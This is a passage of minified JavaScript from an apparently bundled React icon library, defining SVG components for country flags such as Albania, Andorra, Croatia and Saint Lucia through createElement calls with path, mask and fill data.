6l-.63-.52-7.27-6Z"}),(0,s.createElement)("path",{fill:"#272727",stroke:"#FECA00",strokeWidth:1.35,d:"m16.082-.53 1.093-.862V13.392l-1.093-.862-7.61-6L7.8 6l.673-.53 7.61-6Z"}))),Ut=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"KN_-_Saint_Kitts_and_Nevis_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("rect",{width:16,height:12,fill:"#fff",rx:0})),(0,s.createElement)("g",{mask:"url(#KN_-_Saint_Kitts_and_Nevis_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 0v12L16 0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",stroke:"#FFD018",strokeWidth:1.25,d:"m.318 13.976.362.403.45-.3L19.26 1.977l.6-.4-.48-.537-2.661-2.968-.362-.403-.45.3-18.131 12.102-.6.4.482.537 2.66 2.968Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m6.044 8.46-.544.946-.348-1.067-1.08-.343.9-.55-.108-1.117.889.684.92-.51-.258 1.136.74.85-1.11-.03ZM11.044 5.183l-.544.947-.348-1.067-1.08-.344.9-.55-.108-1.116.889.683.92-.51-.258 1.137.74.85-1.11-.03Z",clipRule:"evenodd"}))),xt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LC_-_Saint_Lucia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#LC_-_Saint_Lucia_svg__a)"},(0,s.createElement)("path",{fill:"#7CCFF5",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m8 2 4 8H4l4-8Z"}),(0,s.createElement)("path",{fill:"#272727",d:"m8 4 3.5 6h-7L8 4Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m8 7 4 3H4l4-3Z"}))),Tt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"VC_-_Saint_Vincent_and_the_Grenadines_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#VC_-_Saint_Vincent_and_the_Grenadines_svg__a)"},(0,s.createElement)("path",{fill:"#FFDC17",d:"M4 0h8v12H4V0Z"}),(0,s.createElement)("path",{fill:"#5FBF2B",d:"M12 0h4v12h-4V0Z"}),(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h4v12H0V0Z"}),(0,s.createElement)("path",{fill:"#5FBF2B",d:"m9.863 2.5-1.52 2.231 1.52 2.153 1.52-2.153L9.863 2.5Zm-3.724.04L4.5 4.73l1.52 2.114L7.54 4.73 6.14 2.54Zm.283 4.654L8.06 5.002l1.402 2.192L8.06 9.451 6.422 7.194Z"}))),Dt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TT_-_Trinidad_and_Tobago_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TT_-_Trinidad_and_Tobago_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"TT_-_Trinidad_and_Tobago_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#TT_-_Trinidad_and_Tobago_svg__b)"},(0,s.createElement)("path",{fill:"#272727",stroke:"#F7FCFF",strokeWidth:.732,d:"m14.774 14.74-.265.218-.234-.25-15.172-16.2-.267-.285.303-.248L.687-3.291l.265-.217.234.25 15.172 16.2.267.285-.303.248-1.548 1.266Z"})))),Lt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AL_-_Albania_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("rect",{width:16,height:12,fill:"#fff",rx:0})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#AL_-_Albania_svg__a)"},(0,s.createElement)("path",{fill:"#F50100",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#1A1A1A",d:"M7.941 7.49a.995.995 0 0 1-.138-.032c-.686.533-1.346.895-1.984 1.082a.5.5 0 0 1-.281-.96c.394-.115.814-.323 1.258-.625-.292.047-.594.099-.776.137-.148.032-.327.124-.497.212-.333.172-.637.329-.637-.003 0-.502.292-.652.834-.879.398-.167.65-.162.892-.157.088.002.173.004.265-.003.05-.003.105-.009.162-.017l-.017-.093c-.05-.007-.1-.012-.145-.015-.092-.006-.177-.005-.265-.003-.242.005-.494.01-.892-.157-.542-.227-.834-.377-.834-.879 0-.332.304-.175.637-.003.17.088.349.18.497.212.203.043.558.103.88.154l-.007-.044a.988.988 0 0 1-.183-.133c-.225-.21-.409-.245-.637-.288a2.487 2.487 0 0 1-.54-.152c-.542-.227-.869-.67-.869-1.173 0-.326.281-.114.616.137.18.136.377.284.553.365.174.08.351.144.514.203.166.06.316.115.43.175a.986.986 0 0 1 .01-.066.577.577 0 0 1-.152-.155c-.265-.414-.622-.563-1.16-.789l-.007-.002c-.542-.227-.868-.67-.868-1.173 0-.326.281-.114.615.137.181.136.378.284.554.365.502.231.888.43 1.133.898a.716.716 0 0 0 .144.198c.062-.065.132-.122.209-.169-.104-.747-.278-1.123-.444-1.154a.5.5 0 1 1 .183-.983c.668.125 1.048.745 1.226 1.83.179-1.085.558-1.705 1.226-1.83a.5.5 0 0 1 .183.983c-.165.031-.34.405-.443 1.149a.994.994 0 0 1 .241.147.782.782 0 0 0 .118-.171c.245-.468.63-.667 1.133-.898.176-.08.373-.228.553-.365.335-.251.616-.463.616-.137 0 .502-.326.946-.868 1.173l-.006.002c-.54.226-.896.375-1.162.79a.523.523 0 0 1-.065.08c.01.03.017.061.024.092.096-.042.21-.083.33-.127a6.58 6.58 0 0 0 .514-.203c.176-.08.372-.229.553-.365.335-.251.616-.463.616-.137 0 .502-.327.946-.869 1.173-.217.09-.389.123-.54.152-.229.043-.412.078-.637.288a.848.848 0 0 1-.048.042l-.023.116c.287-.047.582-.097.76-.135.15-.032.327-.124.498-.212.333-.172.637-.329.637.003 0 .502-.292.652-.834.88-.399.166-.65.161-.893.156a2.024 2.024 0 0 0-.306.006l-.022.117.064.005c.091.007.177.005.264.003.243-.005.494-.01.893.157.542.227.834.377.834.88 0 .331-.304.174-.637.002-.17-.088-.349-.18-.497-.212a17.52 17.52 0 0 0-.735-.13c.44.298.857.504 1.249.619a.5.5 0 0 1-.282.96c-.633-.187-1.288-.544-1.967-1.07a.995.995 0 0 1-.085.018c.122.545 1.077.994 1.077.994S8.464 10.83 8.27 10.83c-.193 0-1.492-2.348-1.492-2.348a2.265 2.265 0 0 0 1.163-.992Z"}))),Nt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AD_-_Andorra_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AD_-_Andorra_svg__a)"},(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",d:"M4 0h8v12H4V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0h4v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M12 0h4v12h-4V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#BF9937",fillRule:"evenodd",d:"M4.9 3.607a1 1 0 0 1 1.007-1l4.395.031a1 1 0 0 1 .993 1v4.007s-.444 2-3.146 2S4.9 7.6 4.9 7.6V3.607Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#BF9937",fillRule:"evenodd",d:"M5.15 4.2a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5ZM5.15 6.4a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5ZM5.15 8.2a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5ZM10.85 4.2a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5ZM10.85 6.4a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5ZM10.85 8.2a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#805440",d:"m5.912 8.335.052-.127c.604.259 1.291.389 2.062.389.77 0 1.44-.13 2.007-.388l.055.126c-.586.266-1.273.4-2.062.4-.788 0-1.493-.134-2.114-.4Z"}),(0,s.createElement)("path",{fill:"#BF9937",fillRule:"evenodd",d:"M6.115 3.81h3.77v3.514s0 .31-.329.446c-.328.136-.713.087-.713.087s-.37-.08-.564 0c-.12.049-.206.073-.255.084v.01L8 7.945a.393.393 0 0 1-.024.004v-.009a1.71 1.71 0 0 1-.255-.084c-.195-.08-.564 0-.564 0s-.386.049-.713-.087c-.328-.136-.33-.446-.33-.446V3.81Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"AD_-_Andorra_svg__b",width:4,height:5,x:6,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M6.115 3.81h3.77v3.514s0 .31-.329.446c-.328.136-.713.087-.713.087s-.37-.08-.564 0c-.12.049-.206.073-.255.084v.01L8 7.945a.393.393 0 0 1-.024.004v-.009a1.71 1.71 0 0 1-.255-.084c-.195-.08-.564 0-.564 0s-.386.049-.713-.087c-.328-.136-.33-.446-.33-.446V3.81Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#AD_-_Andorra_svg__b)"},(0,s.createElement)("path",{fill:"#D00F3A",d:"M6.062 3.765H7.89v1.95H6.062z"}),(0,s.createElement)("path",{fill:"#FEDF00",fillRule:"evenodd",d:"M8.093 3.765H9.99v1.95H8.093v-1.95ZM8.093 5.932h1.829v2.022H8.093V5.932Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FEDF00",d:"M6.062 5.932H7.89v2.022H6.062z"}),(0,s.createElement)("path",{fill:"#D00F3A",fillRule:"evenodd",d:"M9.062 7.265a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FEDF00",fillRule:"evenodd",d:"M7.015 5.218V4.104l.47.533-.241.58c-.09-.03-.12.035-.075.153.028.07.05.12.07.158-.08-.08-.113-.132-.113-.186a.21.21 0 0 0-.015-.095c-.005-.01-.047-.018-.074-.024a.24.24 0 0 1-.022-.005Zm-.22 0-.242-.581.46-.529v1.114a.188.188 0 0 1-.021.004c-.024.005-.06.012-.064.021a.21.21 0 0 0-.015.095c0 .054-.033.105-.114.186.021-.038.043-.089.07-.158.046-.118.015-.183-.074-.152Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#D00F3A",d:"M8.505 4.29h1v1h-1z"}),(0,s.createElement)("path",{fill:"#D00F3A",fillRule:"evenodd",d:"M6.562 6.38h1v1h-1v-1Z",clipRule:"evenodd"})))),Ot=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AM_-_Armenia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AM_-_Armenia_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"AM_-_Armenia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#AM_-_Armenia_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M0 8v4h16V8H0Z"})))),Bt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AT_-_Austria_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AT_-_Austria_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"AT_-_Austria_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#C51918",fillRule:"evenodd",clipRule:"evenodd",mask:"url(#AT_-_Austria_svg__b)"},(0,s.createElement)("path",{d:"M0 0v4h16V0H0ZM0 8v4h16V8H0Z"})))),zt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AZ_-_Azerbaijan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AZ_-_Azerbaijan_svg__a)"},(0,s.createElement)("path",{fill:"#AF0100",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"AZ_-_Azerbaijan_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#AZ_-_Azerbaijan_svg__b)"},(0,s.createElement)("path",{fill:"#3CA5D9",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#73BE4A",d:"M0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M8.58 7.453c-.673-.155-1.2-.684-1.193-1.461a1.53 1.53 0 0 1 1.217-1.51c.74-.167 1.392.185 1.392.185-.204-.454-.915-.772-1.498-.77-1.085.002-2.243.83-2.254 2.096C6.232 7.304 7.481 8.05 8.58 8.047c.88-.002 1.299-.57 1.386-.81 0 0-.71.372-1.384.216Zm.429-.743.588-.409.588.41-.208-.686.57-.433-.715-.014-.235-.677-.235.677-.716.014.57.433-.207.685Z"})))),Pt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BY_-_Belarus_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BY_-_Belarus_svg__a)"},(0,s.createElement)("path",{fill:"#73BE4A",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#AF0100",fillRule:"evenodd",d:"M0 0v8h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h3v12H0z"}),(0,s.createElement)("path",{fill:"#D0181A",fillRule:"evenodd",d:"M.5 0a.5.5 0 1 1 0 1 .5.5 0 0 1 0-1Zm2 0a.5.5 0 1 1 0 1 .5.5 0 0 1 0-1ZM1 2.5a.5.5 0 1 0-1 0 .5.5 0 0 0 1 0ZM2.5 2a.5.5 0 1 1 0 1 .5.5 0 0 1 0-1Zm0 7a.5.5 0 1 1 0 1 .5.5 0 0 1 0-1ZM1 9.5a.5.5 0 1 0-1 0 .5.5 0 0 0 1 0ZM.5 11a.5.5 0 1 1 0 1 .5.5 0 0 1 0-1Zm2.5.5a.5.5 0 1 0-1 0 .5.5 0 0 0 1 0ZM1.5 10a.5.5 0 1 1 0 1 .5.5 0 0 1 0-1ZM2 1.5a.5.5 0 1 0-1 0 .5.5 0 0 0 1 0Zm.055 4.52L3 7v1l.022.046L1.546 6.57.219 8H0V7l.991-.986-.99-.992V4h.108l1.423 1.476 1.43-1.422L3 4v1l-.945 1.02ZM1.5 3a.5.5 0 1 1 0 1 .5.5 0 0 1 0-1ZM2 8.5a.5.5 0 1 0-1 0 .5.5 0 0 0 1 0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#8F181A",fillRule:"evenodd",d:"M0 0h1v1H0V0Zm1 2H0v1h1V2ZM0 4h1v1H0V4Zm1 3H0v1h1V7ZM0 9h1v1H0V9Zm1 2H0v1h1v-1Zm2 0H2v1h1v-1ZM3 0H2v1h1V0Z",clipRule:"evenodd",opacity:.4}))),It=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BE_-_Belgium_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#BE_-_Belgium_svg__a)"},(0,s.createElement)("path",{fill:"#FECA00",d:"M5 0h5.5v12H5V0Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M10.5 0H16v12h-5.5V0Z"}),(0,s.createElement)("path",{fill:"#1D1D1D",d:"M0 0h5.5v12H0V0Z"}))),Gt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BA_-_Bosnia_and_Herzegovina_svg__a",width:17,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h17v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#BA_-_Bosnia_and_Herzegovina_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"M5 0h10v12L5 0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m3.554 1.397-.588.309.112-.655-.475-.463.657-.096.294-.595.294.595.657.096-.475.463.112.655-.588-.31ZM5.297 3.537l-.587.309.112-.655-.476-.463.657-.096.294-.595.294.595.657.096-.475.463.112.655-.588-.309ZM6.932 5.62l-.588.308.112-.654-.475-.464.657-.095.294-.596.294.596.657.095-.476.464.112.654-.587-.309ZM8.533 7.615l-.588.309.112-.655-.475-.463.657-.096.294-.595.294.595.657.096-.476.463.112.655-.587-.31ZM10.257 9.668l-.588.31.113-.655-.476-.464.657-.095.294-.596.294.596.657.095-.475.464.112.654-.588-.309ZM12.164 11.655l-.588.31.112-.655-.476-.463.658-.096.294-.595.293.595.657.096-.475.463.112.654-.587-.309Z"}))),Kt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BG_-_Bulgaria_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BG_-_Bulgaria_svg__a)"},(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"BG_-_Bulgaria_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#BG_-_Bulgaria_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#E22C18",d:"M0 8v4h16V8H0Z"})))),Wt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"HR_-_Croatia_(Hrvatska)_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#HR_-_Croatia_(Hrvatska)_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"HR_-_Croatia_(Hrvatska)_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#HR_-_Croatia_(Hrvatska)_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M5.038 3.199h5.7v2h-5.7z"}),(0,s.createElement)("path",{fill:"#F7FCFF",stroke:"#E31D1C",strokeWidth:.563,d:"M5.326 4.48h5.064c.009.384.012 1.055.011 1.7 0 .418 0 .82-.002 1.116l-.001.357v.113l-.001.001a2.474 2.474 0 0 1-.074.295 2.73 2.73 0 0 1-.345.717C9.63 9.286 9 9.808 7.825 9.808c-1.174 0-1.773-.52-2.093-1.023a2.584 2.584 0 0 1-.369-1.01l-.001-.008v-.022l-.001-.098-.005-.354a1915.707 1915.707 0 0 1-.03-2.813Zm.035 3.28Z"}),(0,s.createElement)("mask",{id:"HR_-_Croatia_(Hrvatska)_svg__c",width:6,height:7,x:5,y:4,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",stroke:"#fff",strokeWidth:.563,d:"M5.326 4.48h5.064c.009.384.012 1.055.011 1.7 0 .418 0 .82-.002 1.116l-.001.357v.113l-.001.001a2.474 2.474 0 0 1-.074.295 2.73 2.73 0 0 1-.345.717C9.63 9.286 9 9.808 7.825 9.808c-1.174 0-1.773-.52-2.093-1.023a2.584 2.584 0 0 1-.369-1.01l-.001-.008v-.022l-.001-.098-.005-.354a1915.707 1915.707 0 0 1-.03-2.813Zm.035 3.28Z"})),(0,s.createElement)("g",{mask:"url(#HR_-_Croatia_(Hrvatska)_svg__c)"},(0,s.createElement)("path",{fill:"#F50100",fillRule:"evenodd",d:"M5.25 4.52h1.054v1.07H5.249V4.52Zm2.109 1.07H6.304v1.072H5.249v1.07h1.055v1.072H5.249v1.07h1.055v-1.07h1.055v1.07h1.054v-1.07h1.055v1.07h1.055v-1.07H9.468V7.733h1.055V6.662H9.468V5.59h1.055V4.52H9.468v1.07H8.413V4.52H7.36v1.07Zm0 1.072V5.59h1.054v1.07H7.36Zm0 1.07v-1.07H6.304v1.07h1.055Zm1.054 0v1.072H7.36V7.733h1.054Zm0 0v-1.07h1.055v1.07H8.413Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#56C6F5",fillRule:"evenodd",stroke:"#fff",strokeWidth:.15,d:"M5.227 4.081s.326-.174.604-.264c.278-.09.498-.139.498-.139l-.414-1.526-.829-.31-.47.775.61 1.464ZM7.27 3.538s.279-.025.57-.02c.293.006.54.009.54.009l.143-1.505-.626-.566-.696.58.07 1.502Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#2E42A5",stroke:"#fff",strokeWidth:.15,d:"m6.234 3.666.022.073.073-.023h.003l.01-.004.04-.012.13-.037c.104-.03.23-.06.322-.073a4.596 4.596 0 0 1 .422-.036l.035-.001H7.3l.002-.001.08-.003-.008-.078-.126-1.463-.003-.034-.028-.02-.681-.484-.053-.038-.045.047-.619.642-.03.031.012.042.433 1.472Z"}),(0,s.createElement)("mask",{id:"HR_-_Croatia_(Hrvatska)_svg__d",width:3,height:3,x:5,y:1,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",stroke:"#fff",strokeWidth:.15,d:"m6.234 3.666.022.073.073-.023h.003l.01-.004.04-.012.13-.037c.104-.03.23-.06.322-.073a4.596 4.596 0 0 1 .422-.036l.035-.001H7.3l.002-.001.08-.003-.008-.078-.126-1.463-.003-.034-.028-.02-.681-.484-.053-.038-.045.047-.619.642-.03.031.012.042.433 1.472Z"})),(0,s.createElement)("path",{fill:"#2E42A5",stroke:"#fff",strokeWidth:.15,d:"m9.47 3.664-.02.076-.075-.024h-.003l-.01-.004-.04-.012a5.938 5.938 0 0 0-.13-.037 2.826 2.826 0 0 0-.322-.073 4.597 4.597 0 0 0-.423-.036l-.034-.001h-.009l-.002-.001-.08-.003.007-.078.127-1.463.003-.034.028-.02.681-.484.054-.039.045.05.584.639.028.03-.011.04-.398 1.474Z"}),(0,s.createElement)("mask",{id:"HR_-_Croatia_(Hrvatska)_svg__e",width:2,height:3,x:8,y:1,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",stroke:"#fff",strokeWidth:.15,d:"m9.47 3.664-.02.076-.075-.024h-.003l-.01-.004-.04-.012a5.938 5.938 0 0 0-.13-.037 2.826 2.826 0 0 0-.322-.073 4.597 4.597 0 0 0-.423-.036l-.034-.001h-.009l-.002-.001-.08-.003.007-.078.127-1.463.003-.034.028-.02.681-.484.054-.039.045.05.584.639.028.03-.011.04-.398 1.474Z"})),(0,s.createElement)("path",{fill:"#56C6F5",stroke:"#fff",strokeWidth:.15,d:"m10.63 4.073-.032.075-.072-.039-.003-.001-.01-.006-.04-.02a3.55 3.55 0 0 0-.538-.23 6.56 6.56 0 0 0-.455-.13l-.028-.006-.007-.002h-.002l-.078-.018.022-.076.423-1.488.01-.037.036-.013.829-.31.058-.021.032.053.47.774.02.033-.015.035-.62 1.427Z"}),(0,s.createElement)("mask",{id:"HR_-_Croatia_(Hrvatska)_svg__f",width:3,height:4,x:9,y:1,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",stroke:"#fff",strokeWidth:.15,d:"m10.63 4.073-.032.075-.072-.039-.003-.001-.01-.006-.04-.02a3.55 3.55 0 0 0-.538-.23 6.56 6.56 0 0 0-.455-.13l-.028-.006-.007-.002h-.002l-.078-.018.022-.076.423-1.488.01-.037.036-.013.829-.31.058-.021.032.053.47.774.02.033-.015.035-.62 1.427Z"}))))),jt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CZ_-_Czech_Republic_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CZ_-_Czech_Republic_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CZ_-_Czech_Republic_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 